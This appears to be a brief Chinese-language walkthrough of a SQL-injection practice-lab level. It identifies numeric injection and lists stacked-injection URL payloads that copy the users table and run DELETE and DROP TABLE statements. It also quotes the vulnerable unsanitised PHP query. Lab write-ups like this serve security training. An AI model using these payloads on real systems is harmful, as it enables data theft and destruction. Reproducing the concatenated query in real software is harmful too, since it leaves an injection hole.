1.常规方法测试报错
2.将后面的消息注释发现报错依旧存在，因此判断本less为数值型注入
3.使用堆叠注入，参考less 38
?id=1;CREATE TABLE WhiteMoon LIKE users;--+ ?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+ ?id=1;DELETE FROM WhiteMoon;--+ ?id=1;DROP TABLE WhiteMoon;--+
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
原文：https://www.cnblogs.com/chensicha/p/15268468.html